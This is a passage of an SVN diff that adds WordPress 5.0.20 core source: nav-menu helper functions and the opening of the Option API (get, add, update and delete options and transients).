+			$menu_item->attr_title = ! isset( $menu_item->attr_title ) ? apply_filters( 'nav_menu_attr_title', $menu_item->post_excerpt ) : $menu_item->attr_title;
+
+			if ( ! isset( $menu_item->description ) ) {
+				/**
+				 * Filters a navigation menu item's description.
+				 *
+				 * @since 3.0.0
+				 *
+				 * @param string $description The menu item description.
+				 */
+				$menu_item->description = apply_filters( 'nav_menu_description', wp_trim_words( $menu_item->post_content, 200 ) );
+			}
+
+			$menu_item->classes = ! isset( $menu_item->classes ) ? (array) get_post_meta( $menu_item->ID, '_menu_item_classes', true ) : $menu_item->classes;
+			$menu_item->xfn = ! isset( $menu_item->xfn ) ? get_post_meta( $menu_item->ID, '_menu_item_xfn', true ) : $menu_item->xfn;
+		} else {
+			$menu_item->db_id = 0;
+			$menu_item->menu_item_parent = 0;
+			$menu_item->object_id = (int) $menu_item->ID;
+			$menu_item->type = 'post_type';
+
+			$object = get_post_type_object( $menu_item->post_type );
+			$menu_item->object = $object->name;
+			$menu_item->type_label = $object->labels->singular_name;
+
+			if ( '' === $menu_item->post_title ) {
+				/* translators: %d: ID of a post */
+				$menu_item->post_title = sprintf( __( '#%d (no title)' ), $menu_item->ID );
+			}
+
+			$menu_item->title = $menu_item->post_title;
+			$menu_item->url = get_permalink( $menu_item->ID );
+			$menu_item->target = '';
+
+			/** This filter is documented in wp-includes/nav-menu.php */
+			$menu_item->attr_title = apply_filters( 'nav_menu_attr_title', '' );
+
+			/** This filter is documented in wp-includes/nav-menu.php */
+			$menu_item->description = apply_filters( 'nav_menu_description', '' );
+			$menu_item->classes = array();
+			$menu_item->xfn = '';
+		}
+	} elseif ( isset( $menu_item->taxonomy ) ) {
+		$menu_item->ID = $menu_item->term_id;
+		$menu_item->db_id = 0;
+		$menu_item->menu_item_parent = 0;
+		$menu_item->object_id = (int) $menu_item->term_id;
+		$menu_item->post_parent = (int) $menu_item->parent;
+		$menu_item->type = 'taxonomy';
+
+		$object = get_taxonomy( $menu_item->taxonomy );
+		$menu_item->object = $object->name;
+		$menu_item->type_label = $object->labels->singular_name;
+
+		$menu_item->title = $menu_item->name;
+		$menu_item->url = get_term_link( $menu_item, $menu_item->taxonomy );
+		$menu_item->target = '';
+		$menu_item->attr_title = '';
+		$menu_item->description = get_term_field( 'description', $menu_item->term_id, $menu_item->taxonomy );
+		$menu_item->classes = array();
+		$menu_item->xfn = '';
+
+	}
+
+	/**
+	 * Filters a navigation menu item object.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param object $menu_item The menu item object.
+	 */
+	return apply_filters( 'wp_setup_nav_menu_item', $menu_item );
+}
+
+/**
+ * Get the menu items associated with a particular object.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $object_id   The ID of the original object.
+ * @param string $object_type The type of object, such as "taxonomy" or "post_type."
+ * @param string $taxonomy    If $object_type is "taxonomy", $taxonomy is the name of the tax that $object_id belongs to
+ * @return array The array of menu item IDs; empty array if none;
+ */
+function wp_get_associated_nav_menu_items( $object_id = 0, $object_type = 'post_type', $taxonomy = '' ) {
+	$object_id = (int) $object_id;
+	$menu_item_ids = array();
+
+	$query = new WP_Query;
+	$menu_items = $query->query(
+		array(
+			'meta_key' => '_menu_item_object_id',
+			'meta_value' => $object_id,
+			'post_status' => 'any',
+			'post_type' => 'nav_menu_item',
+			'posts_per_page' => -1,
+		)
+	);
+	foreach ( (array) $menu_items as $menu_item ) {
+		if ( isset( $menu_item->ID ) && is_nav_menu_item( $menu_item->ID ) ) {
+			$menu_item_type = get_post_meta( $menu_item->ID, '_menu_item_type', true );
+			if (
+				'post_type' == $object_type &&
+				'post_type' == $menu_item_type
+			) {
+				$menu_item_ids[] = (int) $menu_item->ID;
+			} elseif (
+				'taxonomy' == $object_type &&
+				'taxonomy' == $menu_item_type &&
+				get_post_meta( $menu_item->ID, '_menu_item_object', true ) == $taxonomy
+			) {
+				$menu_item_ids[] = (int) $menu_item->ID;
+			}
+		}
+	}
+
+	return array_unique( $menu_item_ids );
+}
+
+/**
+ * Callback for handling a menu item when its original object is deleted.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param int $object_id The ID of the original object being trashed.
+ *
+ */
+function _wp_delete_post_menu_item( $object_id = 0 ) {
+	$object_id = (int) $object_id;
+
+	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'post_type' );
+
+	foreach ( (array) $menu_item_ids as $menu_item_id ) {
+		wp_delete_post( $menu_item_id, true );
+	}
+}
+
+/**
+ * Serves as a callback for handling a menu item when its original object is deleted.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param int    $object_id Optional. The ID of the original object being trashed. Default 0.
+ * @param int    $tt_id     Term taxonomy ID. Unused.
+ * @param string $taxonomy  Taxonomy slug.
+ */
+function _wp_delete_tax_menu_item( $object_id = 0, $tt_id, $taxonomy ) {
+	$object_id = (int) $object_id;
+
+	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'taxonomy', $taxonomy );
+
+	foreach ( (array) $menu_item_ids as $menu_item_id ) {
+		wp_delete_post( $menu_item_id, true );
+	}
+}
+
+/**
+ * Automatically add newly published page objects to menus with that as an option.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string $new_status The new status of the post object.
+ * @param string $old_status The old status of the post object.
+ * @param object $post       The post object being transitioned from one status to another.
+ */
+function _wp_auto_add_pages_to_menu( $new_status, $old_status, $post ) {
+	if ( 'publish' != $new_status || 'publish' == $old_status || 'page' != $post->post_type )
+		return;
+	if ( ! empty( $post->post_parent ) )
+		return;
+	$auto_add = get_option( 'nav_menu_options' );
+	if ( empty( $auto_add ) || ! is_array( $auto_add ) || ! isset( $auto_add['auto_add'] ) )
+		return;
+	$auto_add = $auto_add['auto_add'];
+	if ( empty( $auto_add ) || ! is_array( $auto_add ) )
+		return;
+
+	$args = array(
+		'menu-item-object-id' => $post->ID,
+		'menu-item-object' => $post->post_type,
+		'menu-item-type' => 'post_type',
+		'menu-item-status' => 'publish',
+	);
+
+	foreach ( $auto_add as $menu_id ) {
+		$items = wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
+		if ( ! is_array( $items ) )
+			continue;
+		foreach ( $items as $item ) {
+			if ( $post->ID == $item->object_id )
+				continue 2;
+		}
+		wp_update_nav_menu_item( $menu_id, 0, $args );
+	}
+}
+
+/**
+ * Delete auto-draft posts associated with the supplied changeset.
+ *
+ * @since 4.8.0
+ * @access private
+ *
+ * @param int $post_id Post ID for the customize_changeset.
+ */
+function _wp_delete_customize_changeset_dependent_auto_drafts( $post_id ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post || 'customize_changeset' !== $post->post_type ) {
+		return;
+	}
+
+	$data = json_decode( $post->post_content, true );
+	if ( empty( $data['nav_menus_created_posts']['value'] ) ) {
+		return;
+	}
+	remove_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
+	foreach ( $data['nav_menus_created_posts']['value'] as $stub_post_id ) {
+		if ( empty( $stub_post_id ) ) {
+			continue;
+		}
+		if ( 'auto-draft' === get_post_status( $stub_post_id ) ) {
+			wp_delete_post( $stub_post_id, true );
+		} elseif ( 'draft' === get_post_status( $stub_post_id ) ) {
+			wp_trash_post( $stub_post_id );
+			delete_post_meta( $stub_post_id, '_customize_changeset_uuid' );
+		}
+	}
+	add_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
+}
+
+/**
+ * Handle menu config after theme change.
+ *
+ * @access private
+ * @since 4.9.0
+ */
+function _wp_menus_changed() {
+	$old_nav_menu_locations    = get_option( 'theme_switch_menu_locations', array() );
+	$new_nav_menu_locations    = get_nav_menu_locations();
+	$mapped_nav_menu_locations = wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations );
+
+	set_theme_mod( 'nav_menu_locations', $mapped_nav_menu_locations );
+	delete_option( 'theme_switch_menu_locations' );
+}
+
+/**
+ * Maps nav menu locations according to assignments in previously active theme.
+ *
+ * @since 4.9.0
+ *
+ * @param array $new_nav_menu_locations New nav menu locations assignments.
+ * @param array $old_nav_menu_locations Old nav menu locations assignments.
+ * @return array Nav menus mapped to new nav menu locations.
+ */
+function wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations ) {
+	$registered_nav_menus   = get_registered_nav_menus();
+	$new_nav_menu_locations = array_intersect_key( $new_nav_menu_locations, $registered_nav_menus );
+
+	// Short-circuit if there are no old nav menu location assignments to map.
+	if ( empty( $old_nav_menu_locations ) ) {
+		return $new_nav_menu_locations;
+	}
+
+	// If old and new theme have just one location, map it and we're done.
+	if ( 1 === count( $old_nav_menu_locations ) && 1 === count( $registered_nav_menus ) ) {
+		$new_nav_menu_locations[ key( $registered_nav_menus ) ] = array_pop( $old_nav_menu_locations );
+		return $new_nav_menu_locations;
+	}
+
+	$old_locations = array_keys( $old_nav_menu_locations );
+
+	// Map locations with the same slug.
+	foreach ( $registered_nav_menus as $location => $name ) {
+		if ( in_array( $location, $old_locations, true ) ) {
+			$new_nav_menu_locations[ $location ] = $old_nav_menu_locations[ $location ];
+			unset( $old_nav_menu_locations[ $location ] );
+		}
+	}
+
+	// If there are no old nav menu locations left, then we're done.
+	if ( empty( $old_nav_menu_locations ) ) {
+		return $new_nav_menu_locations;
+	}
+
+	/*
+	 * If old and new theme both have locations that contain phrases
+	 * from within the same group, make an educated guess and map it.
+	 */
+	$common_slug_groups = array(
+		array( 'primary', 'menu-1', 'main', 'header', 'navigation', 'top' ),
+		array( 'secondary', 'menu-2', 'footer', 'subsidiary', 'bottom' ),
+		array( 'social' ),
+	);
+
+	// Go through each group...
+	foreach ( $common_slug_groups as $slug_group ) {
+
+		// ...and see if any of these slugs...
+		foreach ( $slug_group as $slug ) {
+
+			// ...and any of the new menu locations...
+			foreach ( $registered_nav_menus as $new_location => $name ) {
+
+				// ...actually match!
+				if ( is_string( $new_location ) && false === stripos( $new_location, $slug ) && false === stripos( $slug, $new_location ) ) {
+					continue;
+				} elseif ( is_numeric( $new_location ) && $new_location !== $slug ) {
+					continue;
+				}
+
+				// Then see if any of the old locations...
+				foreach ( $old_nav_menu_locations as $location => $menu_id ) {
+
+					// ...and any slug in the same group...
+					foreach ( $slug_group as $slug ) {
+
+						// ... have a match as well.
+						if ( is_string( $location ) && false === stripos( $location, $slug ) && false === stripos( $slug, $location ) ) {
+							continue;
+						} elseif ( is_numeric( $location ) && $location !== $slug ) {
+							continue;
+						}
+
+						// Make sure this location wasn't mapped and removed previously.
+						if ( ! empty( $old_nav_menu_locations[ $location ] ) ) {
+
+							// We have a match that can be mapped!
+							$new_nav_menu_locations[ $new_location ] = $old_nav_menu_locations[ $location ];
+
+							// Remove the mapped location so it can't be mapped again.
+							unset( $old_nav_menu_locations[ $location ] );
+
+							// Go back and check the next new menu location.
+							continue 3;
+						}
+					} // endforeach ( $slug_group as $slug )
+				} // endforeach ( $old_nav_menu_locations as $location => $menu_id )
+			} // endforeach foreach ( $registered_nav_menus as $new_location => $name )
+		} // endforeach ( $slug_group as $slug )
+	} // endforeach ( $common_slug_groups as $slug_group )
+
+	return $new_nav_menu_locations;
+}
Index: /tags/5.0.20/src/wp-includes/option.php
===================================================================
--- /tags/5.0.20/src/wp-includes/option.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/option.php	(revision 56912)
@@ -0,0 +1,2136 @@
+<?php
+/**
+ * Option API
+ *
+ * @package WordPress
+ * @subpackage Option
+ */
+
+/**
+ * Retrieves an option value based on an option name.
+ *
+ * If the option does not exist or does not have a value, then the return value
+ * will be false. This is useful to check whether you need to install an option
+ * and is commonly used during installation of plugin options and to test
+ * whether upgrading is required.
+ *
+ * If the option was serialized then it will be unserialized when it is returned.
+ *
+ * Any scalar values will be returned as strings. You may coerce the return type of
+ * a given option by registering an {@see 'option_$option'} filter callback.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $option  Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed  $default Optional. Default value to return if the option does not exist.
+ * @return mixed Value set for the option.
+ */
+function get_option( $option, $default = false ) {
+	global $wpdb;
+
+	$option = trim( $option );
+	if ( empty( $option ) )
+		return false;
+
+	/**
+	 * Filters the value of an existing option before it is retrieved.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * Passing a truthy value to the filter will short-circuit retrieving
+	 * the option value, returning the passed value instead.
+	 *
+	 * @since 1.5.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.9.0 The `$default` parameter was added.
+	 *
+	 *
+	 * @param bool|mixed $pre_option The value to return instead of the option value. This differs from
+	 *                               `$default`, which is used as the fallback value in the event the option
+	 *                               doesn't exist elsewhere in get_option(). Default false (to skip past the
+	 *                               short-circuit).
+	 * @param string     $option     Option name.
+	 * @param mixed      $default    The fallback value to return if the option does not exist.
+	 *                               Default is false.
+	 */
+	$pre = apply_filters( "pre_option_{$option}", false, $option, $default );
+
+	if ( false !== $pre )
+		return $pre;
+
+	if ( defined( 'WP_SETUP_CONFIG' ) )
+		return false;
+
+	// Distinguish between `false` as a default, and not passing one.
+	$passed_default = func_num_args() > 1;
+
+	if ( ! wp_installing() ) {
+		// prevent non-existent options from triggering multiple queries
+		$notoptions = wp_cache_get( 'notoptions', 'options' );
+		if ( isset( $notoptions[ $option ] ) ) {
+			/**
+			 * Filters the default value for an option.
+			 *
+			 * The dynamic portion of the hook name, `$option`, refers to the option name.
+			 *
+			 * @since 3.4.0
+			 * @since 4.4.0 The `$option` parameter was added.
+			 * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value.
+			 *
+			 * @param mixed  $default The default value to return if the option does not exist
+			 *                        in the database.
+			 * @param string $option  Option name.
+			 * @param bool   $passed_default Was `get_option()` passed a default value?
+			 */
+			return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
+		}
+
+		$alloptions = wp_load_alloptions();
+
+		if ( isset( $alloptions[$option] ) ) {
+			$value = $alloptions[$option];
+		} else {
+			$value = wp_cache_get( $option, 'options' );
+
+			if ( false === $value ) {
+				$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
+
+				// Has to be get_row instead of get_var because of funkiness with 0, false, null values
+				if ( is_object( $row ) ) {
+					$value = $row->option_value;
+					wp_cache_add( $option, $value, 'options' );
+				} else { // option does not exist, so we must cache its non-existence
+					if ( ! is_array( $notoptions ) ) {
+						 $notoptions = array();
+					}
+					$notoptions[$option] = true;
+					wp_cache_set( 'notoptions', $notoptions, 'options' );
+
+					/** This filter is documented in wp-includes/option.php */
+					return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
+				}
+			}
+		}
+	} else {
+		$suppress = $wpdb->suppress_errors();
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
+		$wpdb->suppress_errors( $suppress );
+		if ( is_object( $row ) ) {
+			$value = $row->option_value;
+		} else {
+			/** This filter is documented in wp-includes/option.php */
+			return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
+		}
+	}
+
+	// If home is not set use siteurl.
+	if ( 'home' == $option && '' == $value )
+		return get_option( 'siteurl' );
+
+	if ( in_array( $option, array('siteurl', 'home', 'category_base', 'tag_base') ) )
+		$value = untrailingslashit( $value );
+
+	/**
+	 * Filters the value of an existing option.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 1.5.0 As 'option_' . $setting
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 *
+	 * @param mixed  $value  Value of the option. If stored serialized, it will be
+	 *                       unserialized prior to being returned.
+	 * @param string $option Option name.
+	 */
+	return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
+}
+
+/**
+ * Protect WordPress special option from being modified.
+ *
+ * Will die if $option is in protected list. Protected options are 'alloptions'
+ * and 'notoptions' options.
+ *
+ * @since 2.2.0
+ *
+ * @param string $option Option name.
+ */
+function wp_protect_special_option( $option ) {
+	if ( 'alloptions' === $option || 'notoptions' === $option )
+		wp_die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) );
+}
+
+/**
+ * Print option value after sanitizing for forms.
+ *
+ * @since 1.5.0
+ *
+ * @param string $option Option name.
+ */
+function form_option( $option ) {
+	echo esc_attr( get_option( $option ) );
+}
+
+/**
+ * Loads and caches all autoloaded options, if available or all options.
+ *
+ * @since 2.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return array List of all options.
+ */
+function wp_load_alloptions() {
+	global $wpdb;
+
+	if ( ! wp_installing() || ! is_multisite() ) {
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+	} else {
+		$alloptions = false;
+	}
+
+	if ( ! $alloptions ) {
+		$suppress = $wpdb->suppress_errors();
+		if ( ! $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) ) {
+			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
+		}
+		$wpdb->suppress_errors( $suppress );
+
+		$alloptions = array();
+		foreach ( (array) $alloptions_db as $o ) {
+			$alloptions[$o->option_name] = $o->option_value;
+		}
+
+		if ( ! wp_installing() || ! is_multisite() ) {
+			/**
+			 * Filters all options before caching them.
+			 *
+			 * @since 4.9.0
+			 *
+			 * @param array $alloptions Array with all options.
+			 */
+			$alloptions = apply_filters( 'pre_cache_alloptions', $alloptions );
+			wp_cache_add( 'alloptions', $alloptions, 'options' );
+		}
+	}
+
+	/**
+	 * Filters all options after retrieving them.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $alloptions Array with all options.
+	 */
+	return apply_filters( 'alloptions', $alloptions );
+}
+
+/**
+ * Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $network_id Optional site ID for which to query the options. Defaults to the current site.
+ */
+function wp_load_core_site_options( $network_id = null ) {
+	global $wpdb;
+
+	if ( ! is_multisite() || wp_using_ext_object_cache() || wp_installing() )
+		return;
+
+	if ( empty($network_id) )
+		$network_id = get_current_network_id();
+
+	$core_options = array('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );
+
+	$core_options_in = "'" . implode("', '", $core_options) . "'";
+	$options = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $network_id ) );
+
+	foreach ( $options as $option ) {
+		$key = $option->meta_key;
+		$cache_key = "{$network_id}:$key";
+		$option->meta_value = maybe_unserialize( $option->meta_value );
+
+		wp_cache_set( $cache_key, $option->meta_value, 'site-options' );
+	}
+}
+
+/**
+ * Update the value of an option that was already added.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * If the option does not exist, then the option will be added with the option value,
+ * with an `$autoload` value of 'yes'.
+ *
+ * @since 1.0.0
+ * @since 4.2.0 The `$autoload` parameter was added.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string      $option   Option name. Expected to not be SQL-escaped.
+ * @param mixed       $value    Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
+ * @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. For existing options,
+ *                              `$autoload` can only be updated using `update_option()` if `$value` is also changed.
+ *                              Accepts 'yes'|true to enable or 'no'|false to disable. For non-existent options,
+ *                              the default value is 'yes'. Default null.
+ * @return bool False if value was not updated and true if value was updated.
+ */
+function update_option( $option, $value, $autoload = null ) {
+	global $wpdb;
+
+	$option = trim($option);
+	if ( empty($option) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	if ( is_object( $value ) )
+		$value = clone $value;
+
+	$value = sanitize_option( $option, $value );
+	$old_value = get_option( $option );
+
+	/**
+	 * Filters a specific option before its value is (maybe) serialized and updated.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.6.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 *
+	 * @param mixed  $value     The new, unserialized option value.
+	 * @param mixed  $old_value The old option value.
+	 * @param string $option    Option name.
+	 */
+	$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );
+
+	/**
+	 * Filters an option before its value is (maybe) serialized and updated.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param mixed  $value     The new, unserialized option value.
+	 * @param string $option    Name of the option.
+	 * @param mixed  $old_value The old option value.
+	 */
+	$value = apply_filters( 'pre_update_option', $value, $option, $old_value );
+
+	/*
+	 * If the new and old values are the same, no need to update.
+	 *
+	 * Unserialized values will be adequate in most cases. If the unserialized
+	 * data differs, the (maybe) serialized data is checked to avoid
+	 * unnecessary database calls for otherwise identical object instances.
+	 *
+	 * See https://core.trac.wordpress.org/ticket/38903
+	 */
+	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
+		return false;
+	}
+
+	/** This filter is documented in wp-includes/option.php */
+	if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) {
+		// Default setting for new options is 'yes'.
+		if ( null === $autoload ) {
+			$autoload = 'yes';
+		}
+
+		return add_option( $option, $value, '', $autoload );
+	}
+
+	$serialized_value = maybe_serialize( $value );
+
+	/**
+	 * Fires immediately before an option value is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option    Name of the option to update.
+	 * @param mixed  $old_value The old option value.
+	 * @param mixed  $value     The new option value.
+	 */
+	do_action( 'update_option', $option, $old_value, $value );
+
+	$update_args = array(
+		'option_value' => $serialized_value,
+	);
+
+	if ( null !== $autoload ) {
+		$update_args['autoload'] = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
+	}
+
+	$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
+	if ( ! $result )
+		return false;
+
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+		unset( $notoptions[$option] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	if ( ! wp_installing() ) {
+		$alloptions = wp_load_alloptions();
+		if ( isset( $alloptions[$option] ) ) {
+			$alloptions[ $option ] = $serialized_value;
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		} else {
+			wp_cache_set( $option, $serialized_value, 'options' );
+		}
+	}
+
+	/**
+	 * Fires after the value of a specific option has been successfully updated.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.0.1
+	 * @since 4.4.0 The `$option` parameter was added.
+	 *
+	 * @param mixed  $old_value The old option value.
+	 * @param mixed  $value     The new option value.
+	 * @param string $option    Option name.
+	 */
+	do_action( "update_option_{$option}", $old_value, $value, $option );
+
+	/**
+	 * Fires after the value of an option has been successfully updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option    Name of the updated option.
+	 * @param mixed  $old_value The old option value.
+	 * @param mixed  $value     The new option value.
+	 */
+	do_action( 'updated_option', $option, $old_value, $value );
+	return true;
+}
+
+/**
+ * Add a new option.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * You can create options without values and then update the values later.
+ * Existing options will not be updated and checks are performed to ensure that you
+ * aren't adding a protected WordPress option. Care should be taken to not name
+ * options the same as the ones which are protected.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string         $option      Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed          $value       Optional. Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
+ * @param string         $deprecated  Optional. Description. Not used anymore.
+ * @param string|bool    $autoload    Optional. Whether to load the option when WordPress starts up.
+ *                                    Default is enabled. Accepts 'no' to disable for legacy reasons.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
+	global $wpdb;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.3.0' );
+
+	$option = trim($option);
+	if ( empty($option) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	if ( is_object($value) )
+		$value = clone $value;
+
+	$value = sanitize_option( $option, $value );
+
+	// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( !is_array( $notoptions ) || !isset( $notoptions[$option] ) )
+		/** This filter is documented in wp-includes/option.php */
+		if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) )
+			return false;
+
+	$serialized_value = maybe_serialize( $value );
+	$autoload = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
+
+	/**
+	 * Fires before an option is added.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the option to add.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( 'add_option', $option, $value );
+
+	$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
+	if ( ! $result )
+		return false;
+
+	if ( ! wp_installing() ) {
+		if ( 'yes' == $autoload ) {
+			$alloptions = wp_load_alloptions();
+			$alloptions[ $option ] = $serialized_value;
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		} else {
+			wp_cache_set( $option, $serialized_value, 'options' );
+		}
+	}
+
+	// This option exists now
+	$notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh
+	if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+		unset( $notoptions[$option] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	/**
+	 * Fires after a specific option has been added.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.5.0 As "add_option_{$name}"
+	 * @since 3.0.0
+	 *
+	 * @param string $option Name of the option to add.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( "add_option_{$option}", $option, $value );
+
+	/**
+	 * Fires after an option has been added.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the added option.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( 'added_option', $option, $value );
+	return true;
+}
+
+/**
+ * Removes option by name. Prevents removal of protected WordPress options.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if option is successfully deleted. False on failure.
+ */
+function delete_option( $option ) {
+	global $wpdb;
+
+	$option = trim( $option );
+	if ( empty( $option ) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	// Get the ID, if no ID then return
+	$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
+	if ( is_null( $row ) )
+		return false;
+
+	/**
+	 * Fires immediately before an option is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the option to delete.
+	 */
+	do_action( 'delete_option', $option );
+
+	$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );
+	if ( ! wp_installing() ) {
+		if ( 'yes' == $row->autoload ) {
+			$alloptions = wp_load_alloptions();
+			if ( is_array( $alloptions ) && isset( $alloptions[$option] ) ) {
+				unset( $alloptions[$option] );
+				wp_cache_set( 'alloptions', $alloptions, 'options' );
+			}
+		} else {
+			wp_cache_delete( $option, 'options' );
+		}
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific option has been deleted.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of the deleted option.
+		 */
+		do_action( "delete_option_{$option}", $option );
+
+		/**
+		 * Fires after an option has been deleted.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $option Name of the deleted option.
+		 */
+		do_action( 'deleted_option', $option );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Delete a transient.
+ *
+ * @since 2.8.0
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return bool true if successful, false otherwise
+ */
+function delete_transient( $transient ) {
+
+	/**
+	 * Fires immediately before a specific transient is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $transient Transient name.
+	 */
+	do_action( "delete_transient_{$transient}", $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_delete( $transient, 'transient' );
+	} else {
+		$option_timeout = '_transient_timeout_' . $transient;
+		$option = '_transient_' . $transient;
+		$result = delete_option( $option );
+		if ( $result )
+			delete_option( $option_timeout );
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a transient is deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient Deleted transient name.
+		 */
+		do_action( 'deleted_transient', $transient );
+	}
+
+	return $result;
+}
+
+/**
+ * Get the value of a transient.
+ *
+ * If the transient does not exist, does not have a value, or has expired,
+ * then the return value will be false.
+ *
+ * @since 2.8.0
+ *
